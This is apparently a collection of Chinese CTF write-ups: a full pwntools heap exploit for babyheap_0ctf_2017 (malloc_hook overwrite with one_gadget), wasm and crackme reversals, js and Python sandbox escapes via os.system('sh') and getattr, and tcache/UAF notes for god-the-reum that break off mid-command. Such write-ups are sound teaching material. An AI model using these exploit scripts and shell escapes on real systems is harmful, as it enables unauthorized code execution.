0x55a7bccd2080: 0x6161616161616161 0x6161616161616161
0x55a7bccd2090: 0x6161616161616161 0x6161616161616161
0x55a7bccd20a0: 0x6161616161616161 0x6161616161616161
0x55a7bccd20b0: 0x0000000000000000 0x0000000000000111 //chunk2
0x55a7bccd20c0: 0x0000000000000000 0x0000000000000000
0x55a7bccd20d0: 0x0000000000000000 0x0000000000000000
0x55a7bccd20e0: 0x0000000000000000 0x0000000000000071
0x55a7bccd20f0: 0x0000000000000000 0x0000000000000000
0x55a7bccd2100: 0x0000000000000000 0x0000000000000000
0x55a7bccd2110: 0x0000000000000000 0x0000000000000000
0x55a7bccd2120: 0x0000000000000000 0x0000000000000000
0x55a7bccd2130: 0x0000000000000000 0x0000000000000000
0x55a7bccd2140: 0x0000000000000000 0x0000000000000000
0x55a7bccd2150: 0x0000000000000000 0x0000000000000000
0x55a7bccd2160: 0x0000000000000000 0x0000000000000000
0x55a7bccd2170: 0x0000000000000000 0x0000000000000000
0x55a7bccd2180: 0x0000000000000000 0x0000000000000000
0x55a7bccd2190: 0x0000000000000000 0x0000000000000000
0x55a7bccd21a0: 0x0000000000000000 0x0000000000000000
根据small_bin特性,只存在一块时,free掉时指向top_chunk => main_arena+0x58处
所以尝试利用Free函数free掉该small_chunk(chunk2)
注意:free chunk2时需要再申请一个chunk (方式与top chunk 合并)
Allocate(0x60) //防止合并
Free(2)
查看当前堆布局
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55bca862b0b0 —▸ 0x7fd682405b78 (main_arena+88) ◂— 0x55bca862b0b0
smallbins
empty
largebins
empty
gdb-peda$ x/20gx 0x55bca862b070
0x55bca862b070: 0x0000000000000000 0x0000000000000071 chunk1
0x55bca862b080: 0x6161616161616161 0x6161616161616161
0x55bca862b090: 0x6161616161616161 0x6161616161616161
0x55bca862b0a0: 0x6161616161616161 0x6161616161616161
0x55bca862b0b0: 0x0000000000000000 0x0000000000000111//chunk2
0x55bca862b0c0: 0x00007fd682405b78 0x00007fd682405b78
0x55bca862b0d0: 0x0000000000000000 0x0000000000000000
0x55bca862b0e0: 0x0000000000000000 0x0000000000000071
0x55bca862b0f0: 0x0000000000000000 0x0000000000000000
0x55bca862b100: 0x0000000000000000 0x0000000000000000
gdb-peda$
可以看到当前chunk2 分fd bk 都指向main_arena+88处
接着打印当前fake_chunk1 由于fake_chunk原大小为0x30 所以dump fake_chunk时会打印出chunk2 head 、chunk2 size、chunk2 fd bk 。
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x11\x00\x00\x00x��[\\x7f\x00x��[\\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x7 bytes:
'Index: '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xa0 bytes:
00000000 43 6f 6e 74 65 6e 74 3a 20 0a 61 61 61 61 61 61 │Cont│ent:│ ·aa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000030 61 61 61 61 61 61 61 61 61 61 00 00 00 00 00 00 │aaaa│aaaa│aa··│····│
00000040 00 00 11 01 00 00 00 00 00 00 78 db ea 5b 5c 7f │····│····│··x·│·[\·│
00000050 00 00 78 db ea 5b 5c 7f 00 00 00 00 00 00 00 00 │··x·│·[\·│····│····│
00000060 00 00 00 00 00 00 00 00 00 00 0a 31 2e 20 41 6c │····│····│···1│. Al│
00000070 6c 6f 63 61 74 65 0a 32 2e 20 46 69 6c 6c 0a 33 │loca│te·2│. Fi│ll·3│
00000080 2e 20 46 72 65 65 0a 34 2e 20 44 75 6d 70 0a 35 │. Fr│ee·4│. Du│mp·5│
00000090 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 3a 20 │. Ex│it·C│omma│nd: │
000000a0
leak:0x7f5c5beadb20
[*] Stopped process './babyheap_0ctf_2017' (pid 119678)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
可以看到成功打印出main_arena+88地址
利用工具
https://github.com/bash-c/main_arena_offset
可以快速获取当前main_arena的offset
ios@ubuntu:~/APwn/buuctf$ main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20
ios@ubuntu:~/APwn/buuctf$
从而可以计算出当前libc_base
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
base=leak-0x3c4b20
leak出了libc base ,接着通过 改malloc_hook为one_gadget 即可成功getshell
找到malloc_hook 地址,寻找满足fastbin 对齐检查的fake chunk addr ,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。
gdb-peda$ p (void*)&main_arena
$1 = (void *) 0x7f406f115b20 <main_arena>
gdb-peda$ x/20gx 0x7f406f115b20-0x10
0x7f406f115b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f406f115b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f406f115b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f406f115b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f406f115b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f406f115b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f406f115b70 <main_arena+80>: 0x0000000000000000 0x000056350ef5f230
0x7f406f115b80 <main_arena+96>: 0x0000000000000000 0x000056350ef5f0b0
0x7f406f115b90 <main_arena+112>: 0x000056350ef5f0b0 0x00007f406f115b88
0x7f406f115ba0 <main_arena+128>: 0x00007f406f115b88 0x00007f406f115b98
gdb-peda$ find_fake_fast 0x7f406f115b10 0x7f
FAKE CHUNKS
0x7f406f115aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
prev_size = 0x406f114260000000,
size = 0x7f,
fd = 0x406edd6e20000000,
bk = 0x406edd6a0000007f,
fd_nextsize = 0x7f,
bk_nextsize = 0x0
}
gdb-peda$
计算fake chunk addr 距离malloc_hook 的offset
gdb-peda$ p/x 0x7f406f115b10-0x7f406f115aed
$2 = 0x23
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))
Allocate(0x60)#idx
Allocate(0x60)#idx
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
获取onegadget
ios@ubuntu:~/APwn/buuctf$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
利用Fill函数向多次申请后申请到的fake_chunk写入onegadget
因为距离malloc_hook 0x23 所以填充数据 溢出覆盖malloc_hook
再次申请堆块时 会调用malloc_hook
成功getshell
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p =process('./babyheap_0ctf_2017')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p =remote('pwn.buuoj.cn',20001)
#libc=ELF('x64_libc.so.6')
def Allocate(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
def Fill(idx,con):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(len(con)))
p.recvuntil("Content:")
p.sendline(con)
def Free(idx):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(idx))
def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
#sleep(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
#gdb.attach(p)
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
#gdb.attach(p)
base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))
Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))
#gdb.attach(p)
#gdb.attach(p)
Allocate(0x100)#idx4
p.interactive()
]]>
给出三个文件
先进行简单运行测试

随意输入

逻辑很清晰
输入flag、 验证、返回是否正确
当然核心逻辑一定在test.wasm文件中
先利用wabt中的wasm2c 将wasm文件反编译成c文件
┌─[ios@iosdeMacBook] - [~/wabt/out/clang/Debug] - [四 7 25, 11:01]
└─[$] <git:(master*)> ./wasm2c test.wasm -o test.c
执行完成命令后可以看到文件夹下面生成了一个test.c和一个test.h

接着放在wasm2c目录里进行编译

进行gcc编译
gcc -g test.c -o test
发现会报错
因为很多wasm的函数并没有具体实现 因为我们主要目的是为了方便逆向,方便观察逻辑 所以我们只需要编译不做链接
gcc -c test.c -o test
生成了test文件 接着我们拖进ida

for ( i = 0; i < (unsigned int)f81(v14); ++i )
{
v13 = v14 + i;
v12 = (char)i32_load8_s(*Z_envZ_memory, v14 + i);
if ( (signed int)i % 2 == 0 )
i32_store8((_QWORD *)*Z_envZ_memory, v13, (v12 ^ 0x30) & 0xFF);
else
i32_store8((_QWORD *)*Z_envZ_memory, v13, (v12 ^ 0x25) & 0xFF);
}
注意这段代码
很明显是一段异或操作而且根据循环次数的奇偶做不同的异或。
根据wasm特性 会在底部存储字符串 所以我们可以利用这一特性去查找我们需要的字符串
static const u8 data_segment_data_0[] = {
0x67, 0x4a, 0x47, 0x7a, 0x69, 0x4a, 0x45, 0x7a, 0x42, 0x40, 0x51, 0x49,
0x5c, 0x5c, 0x6f, 0x6e, 0x00, 0x4b, 0x47, 0x7a, 0x67, 0x40, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xc0,
0x03, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0xc0, 0x05, 0x00, 0x00, 0xc0,
0x06, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0xc0,
0x09, 0x00, 0x00, 0xc0, 0x0a, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0xc0,
0x0c, 0x00, 0x00, 0xc0, 0x0d, 0x00, 0x00, 0xc0, 0x0e, 0x00, 0x00, 0xc0,
0x0f, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x00, 0xc0, 0x11, 0x00, 0x00, 0xc0,
};
这里截取了最前一部分的字符串 因为直接hex可以看到下部字符串为good wrong 而上部无法解析 根据他主逻辑做了异或操作可以猜测 这些不解析的字符串就是加密后的flag
所以我们写出测试exp
a=[0x67, 0x4a, 0x47, 0x7a, 0x69, 0x4a, 0x45, 0x7a, 0x42, 0x40, 0x51, 0x49,
0x5c, 0x5c, 0x6f, 0x6e, 0x00, 0x4b, 0x47, 0x7a, 0x67, 0x40, 0x52,0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xc0,
0x03, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0xc0, 0x05, 0x00, 0x00, 0xc0,
0x06, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0xc0,
0x09, 0x00, 0x00, 0xc0, 0x0a, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0xc0,
0x0c, 0x00, 0x00, 0xc0, 0x0d, 0x00, 0x00, 0xc0, 0x0e, 0x00, 0x00, 0xc0,
0x0f, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x00, 0xc0, 0x11, 0x00, 0x00, 0xc0,
0x12, 0x00, 0x00, 0xc0, 0x13, 0x00, 0x00, 0xc0, 0x14, 0x00, 0x00, 0xc0,
0x15, 0x00, 0x00, 0xc0, 0x16, 0x00, 0x00, 0xc0, 0x17, 0x00, 0x00, 0xc0,
0x18, 0x00, 0x00, 0xc0, 0x19, 0x00, 0x00, 0xc0, 0x1a, 0x00, 0x00, 0xc0,
0x1b, 0x00, 0x00, 0xc0, 0x1c, 0x00, 0x00, 0xc0, 0x1d, 0x00, 0x00, 0xc0]
flag=''
i=0
for i in range(0,55):
if i%2==0:
flag+=chr((a[i]^0x30)& 0xFF)
else:
flag+=chr((a[i]^0x25)& 0xFF)
print flag
运行查看结果
└─[$] <> python was.py
Wow_You_really_K0nw_Web%0%0%0%0%2%0?3%0?4%0?5%0?6%0?7
看到有明文字符串 这肯定就是flag了~
加入flag头提交即可
最后flag{Wow_You_really_K0nw_Web}
]]>利用dir()查看引用的函数
js> dir()
typein:3:1 ReferenceError: dir is not defined
Stack:
@typein:3:1
js>
没办法执行
思路:
如果不能查看调用怎么知道引用os模块了呢?
1.尝试import os
2.假设存在os直接调用
3.假设存在但是过滤.之类的无法直接调用
有了思路就可以开始尝试了
js> import os
typein:1:0 SyntaxError: import declarations may only appear at top level of a module:
typein:1:0 import os
typein:1:0
SyntaxError:import声明只能出现在模块的顶层
也就是我们没办法在此使用import
js> os
({getenv:function getenv() {
[native code]
}, getpid:function getpid() {
[native code]
}, system:function system() {
[native code]
}, spawn:function spawn() {
[native code]
}, kill:function kill() {
[native code]
}, waitpid:function waitpid() {
[native code]
}})
js>
当我直接输入os时发现存在以下命令 最值得注意的是system命令 所以我们看看能不能执行os.system(‘sh’)
js> os.system()
typein:1:1 Error: os.system requires 1 argument
Stack:
@typein:1:1
js> os.system('ls')
js libnspr4.so libplc4.so libplds4.so
0
js> os.system('sh')
$ ls
js libnspr4.so libplc4.so libplds4.so
$
可以看到成功调用system且拿到sh
那我们试试第三种情况能否使用
js> a=getattr(os,"system")
typein:6:1 ReferenceError: getattr is not defined
Stack:
@typein:6:1
js>
发现不能识别该函数所以没办法通过此方法绕过==
]]>
==
Rules:
-No import
-No ...
-No flag
>>> help
Documented commands (type help <topic>):
========================================
help
Undocumented commands:
======================
EOF
题目给出了要求 不能使用import 不能使用 . 且不准出现flag字眼
这里需要思考一下 不用flag就行命令绕过了怎么读flag呢?
1.可以 cat * 然后自己找 貌似不太现实==
2.利用python读flag 可是不能出现flag字符
3.利用os模块自己起个shell 但是不准import
根据规则 应该是我们必须起一个shell 但是无法调用os是个大问题
所以我们现在需要想办法在不使用import os的情况下执行os.system(‘/sh’)
利用dir()命令查看当前可以调用的模块
>>> print(dir())
['Jail', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'cmd', 'execute', 'intro', 'os', 'sys', 't']
>>>
发现os已经导入并不需要import
可是我们还是无法执行因为os.system(‘/sh’)中含有.
思考:
有没有函数能不使用.就能使用其他函数?
https://www.runoob.com/python/python-func-getattr.html
找到一个
getattr(object, name[, default])
获取object中name的属性值
若存在则当前命令=name
所以我们获取os中system的属性值并且返回属性时执行system(‘sh’)
getattr(os,"system")("sh") =system("sh")
当然如果不好理解也可以这么写
a=getattr(os,"system")
a("sh")
成功拿到shell 接着就正常拿flag即可
cd home
cd ctf
cat flag
附一些好的python沙箱绕过文章
https://www.anquanke.com/post/id/107000
https://www.jianshu.com/p/183581381c4f
https://www.xctf.org.cn/library/details/0df15ef620b075f288bdfc0ae6fe4eabe7cb996e/
]]>下载到程序 简单执行下 就是简单的creakerme ,需要输入正确验证码。
载入 ghidra 分析
void __fastcall FUN_00401890(CWnd *param_1)
{
int local_78 [26];
pCVar1 = param_1 + 100;
local_8 = param_1;
this = GetDlgItem(param_1,0x3ea);
GetWindowTextA(this,(CString *)pCVar1);
iVar2 = FUN_00401a30((int *)(local_8 + 100));
local_c = GetBuffer((CString *)(local_8 + 100),iVar2);
sVar3 = strlen(local_c);
if (sVar3 == 0) {
MessageBoxA(local_8,&DAT_004035dc,(char *)0x0,0);
}
else {
local_10 = 0;
while (local_c[local_10] != 0) {
if ((local_c[local_10] < 58) && (47 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x30;
}
else {
if ((local_c[local_10] < 123) && (96 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x57;
}
else {
if ((local_c[local_10] < 91) && (64 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x1d;
}
else {
FUN_004017b0();//返回错误
}
}
}
local_10 = local_10 + 1;
}
FUN_004017f0((int)local_78); 得到的local_78数组传入到FUN_004017f0函数
}
return;
}
程序从文本框获取到字符串、然后判断是否为空 如果为空 弹窗 程序结束
可以看到接收长度为26 // int local_78 [26];
然后是对接收到的字符串进行判断并进行运算操作
进入FUN_004017f0
void __cdecl FUN_004017f0(int param_1)
{
int iVar1;
char local_28 [28];
undefined4 local_c;
int local_8;
// param_1为上函数运算得到的数组
local_8 = 0;
local_c = 0;
while ((*(int *)(param_1 + local_8 * 4) < 0x3e && (-1 < *(int *)(param_1 + local_8 * 4)))) {
local_28[local_8] =
"abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
[*(int *)(param_1 + local_8 * 4)];
local_8 = local_8 + 1;
}
local_28[local_8] = 0;
iVar1 = strcmp(local_28,"KanXueCTF2019JustForhappy");
if (iVar1 == 0) {
FUN_00401770();//返回pass
}
else {
FUN_004017b0();//返回错误
}
return;
}
从
iVar1 = strcmp(local_28,”KanXueCTF2019JustForhappy”);
可以得到 local_28的值为 KanXueCTF2019JustForhappy
又可以看到
local_28[local_8] =
“abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ”
[(int )(param_1 + local_8 * 4)];
local_28[local_8] 数组的每一位是从这段字符串中取出 取出位置由param_1决定
所以在当前函数 已知 local_28 已知字符串 求param_1
re.c
char a[28]= "KanXueCTF2019JustForhappy";
char b[62]="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ";
int c[26];
int d=0;
while (d<25) {
for (int i=0; b[i]; i++) {
if (b[i]==a[d]) {
c[d]=i;
printf("%d,",c[d]);
d=d+1;
//break ;
}
}
}
得到param_1
param_1[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48}
接着回带到上一函数
关键位置
local_10 = 0;
if ((local_c[local_10] < 58) && (47 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x30;
}
else {
if ((local_c[local_10] < 123) && (96 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x57;
}
else {
if ((local_c[local_10] < 91) && (64 < local_c[local_10])) {
local_78[local_10] = (int)local_c[local_10] + -0x1d;
}
else {
FUN_004017b0();//返回错误
}
}
}
已知最后获得的字符串 local_78 已知判断条件 可以求出原字符串
因为获得的字符串最后进行减数操作 所以求原函数只需要将判断条件的值减取相应判断条件里的减去的值并将判断条件里的值由减改为加即可。
re1.c
int v5[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48}; //得到的local_78
int local_10 = 0;
int v5[26];
local_10 = 0;
while (local_10 != 25) {
if ((c[local_10] < 62) && (35 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 29;
}
else {
if ((c[local_10] < 36) && (9 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 87;
}
else {
if ((c[local_10] < 10) || (-1 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 48;
}
}
}
printf("%c",v5[local_10]);
local_10 = local_10 + 1;
}
printf("\n");
所以可以逆向求出应该输入的字符串
exp.c
//
// main.c
// re1
//
// Created by ios on 2019/3/10.
// Copyright © 2019 ios. All rights reserved.
//
#include<stdio.h>
int main()
{
char a[28]= "KanXueCTF2019JustForhappy";
char b[62]="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ";
int c[26];
int d=0;
while (d<25) {
for (int i=0; b[i]; i++) {
if (b[i]==a[d]) {
c[d]=i;
//printf("%d,",c[d]);
d=d+1;
//break ;
}
}
}
//int Str[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48};
int local_10 = 0;
int v5[26];
local_10 = 0;
while (local_10 != 25) {
if ((c[local_10] < 62) && (35 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 29;
}
else {
if ((c[local_10] < 36) && (9 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 87;
}
else {
if ((c[local_10] < 10) || (-1 < c[local_10])) {
v5[local_10] = (int)c[local_10] + 48;
}
}
}
printf("%c",v5[local_10]);
local_10 = local_10 + 1;
}
printf("\n");
}
成功拿到key
j0rXI4bTeustBiIGHeCF70DDM
这里如果不好理解的可以对照IDA理解源码,并且使用动态调试 在strcmp处下断
图一
任意输入字符例如 A 达到断点处会得到
图二
通过两次处理后的结果为8 ,因为第二次做的处理为从数组出取元素 所以通过结果得到 param_1 的值
逆推到第一次处理 运算得到第一位应输入字符
这样可以帮助理解(动态调试大法好~)
]]>
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; //增加到链表头部
++(tcache->counts[tc_idx]); //记录当前 bin 的 chunk数
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
tcache_put
用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nb是 chunk 的大小)。
它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx] 加 1 ,表示新增了一个 chunk 到 该 表项。
tcache_get
根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)
仅仅检查了 tc_idx 并无做更多检查 可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂。
通过修改 free 状态的 tcache 里面的 chunk 的 fd (其实就是 tcache_entry->next ) ,可以分配到任意地址
tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size。
一个 tcache bin 中的最大块数mp_.tcache_count是7
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
具体知识点参考阅读
https://www.secpulse.com/archives/71958.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning
case 1u:
v3 = &v5[16 * dword_20202C];
create_size((void **)v3);
break;
case 2u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
save((__int64)v3);
break;
case 3u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
delete_free((__int64)v3);
break;
case 4u:
v3 = v5;
print_all((__int64)v5);
break;
case 5u:
puts("bye da.");
return 0LL;
case 6u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
developer((__int64)v3);
break;
default:
sub_11B3(v3);
break;
运行对比可以知道
主要有创建、储存、删除、打印、退出、以及隐藏功能 修改地址
if ( !s || dword_20202C > 4 )
{
puts("wallet creation failed");
exit(0);
}
memset(s, 0, 0x82uLL);
v1 = (char *)s + strlen((const char *)s);
*(_WORD *)v1 = 30768;
v1[2] = 0;
v2 = time(0LL);
printf("how much initial eth? : ", 0LL);
__isoc99_scanf("%llu", &size);
v3 = size;
v5[1] = (__int64)malloc(size);
if ( v5[1] )
*(_QWORD *)v5[1] = size;
++dword_20202C;
sub_119B(v3);
puts("Creating new wallet succcess !\n");
代码有删减
size可控 主要功能 创建一个size可控的chunk
v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &v2);
**(_QWORD **)(a1 + 8) -= v2;
if ( !**(_QWORD **)(a1 + 8) ) //判断是否为0 如果为0则执行free
free(*(void **)(a1 + 8)); //uaf
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
这里free以后没有清空指针 导致存在uaf漏洞
int i; // [rsp+1Ch] [rbp-4h]
sub_119B(a1);
puts("========== My Wallet List =============");
for ( i = 0; i < dword_20202C; ++i )
{
printf("%d) ", (unsigned int)i);
sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD **)(16LL * i + a1 + 8));
}
return putchar(10);
int __fastcall sub_FD5(__int64 a1, _QWORD *a2)
{
return printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
打印所有chunk id 及内容
__int64 __fastcall developer(__int64 a1)
{
sub_119B(a1);
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8)); //修改chunk
}
`
可以修改chunk
存在uaf漏洞 所以要从这里入手
首先给定libc 2.27 存在了tcache所以leak方式需要改变
首次执行double free后 打印会泄漏出heap地址
create(0x100)
create(0x110) #多加一个chunk可以防止top chunk回收
delete(0,0x100)
delete(0,0) #double free leak heap_base
prints()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
python exp.py
[*] how much you wanna withdraw? :
[*] withdraw ok !
====== Ethereum wallet service ========
1. Create new wallet
2. Deposit eth
3. Withdraw eth
4. Show all wallets
5. exit
select your choice :
0x564a72bee2f0
利用gdb查看当前heap地址
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x564a718e1000 0x564a718e3000 r-xp 2000 0 /home/ios/god-the-reum
0x564a71ae2000 0x564a71ae3000 r--p 1000 1000 /home/ios/god-the-reum
0x564a71ae3000 0x564a71ae4000 rw-p 1000 2000 /home/ios/god-the-reum
0x564a72bee000 0x564a72c0f000 rw-p 21000 0 [heap]
0x7f92acc4d000 0x7f92ace34000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f92ace34000 0x7f92ad034000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
因为leak了一次heap地址填充了1次tcache 所以再次填充6次即可填满tcache 之后free掉的chunk会进入unsorted bin 接着利用print_all 打印出当前bin的fd 即可leak main_arena从而得到libc_base
unsort bin是双向链表,如果只有一个chunk fd和bk都是main_arena+偏移。如果是多个就按照双向链表链起来(头和尾都是main_arena+偏移)
需要利用uaf+print配合
填充满tcache后查看当前heap
pwndbg> heap
0x563b2fd6b000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x700000000000000,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x563b2fd6b250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 145,
fd = 0x3461373737367830,
bk = 0x3463613331616535,
fd_nextsize = 0x3630333238336564,
bk_nextsize = 0x3139613439306631
}
0x563b2fd6b2e0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x7ffab2fc9ca0 <main_arena+96>,
bk = 0x7ffab2fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到该chunk fd bk都指向main_arena+96
可以利用 p main_arena查看当前main_arena_addr
d0 <main_arena+1680>...},
binmap = {0, 0, 0, 0},
next = 0x7ffab2fc9c40 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
可以得到main_arena
利用vmmap 查看当前加载libc基地址
0x563b2fd6b000 0x563b2fd8c000 rw-p 21000 0 [heap]
0x7ffab2bde000 0x7ffab2dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
由于程序多次执行 导致地址发生变化== 此处计算offfset为同一进程
pwndbg> p/x 0x7ffab2fc9c40-0x7ffab2bde000
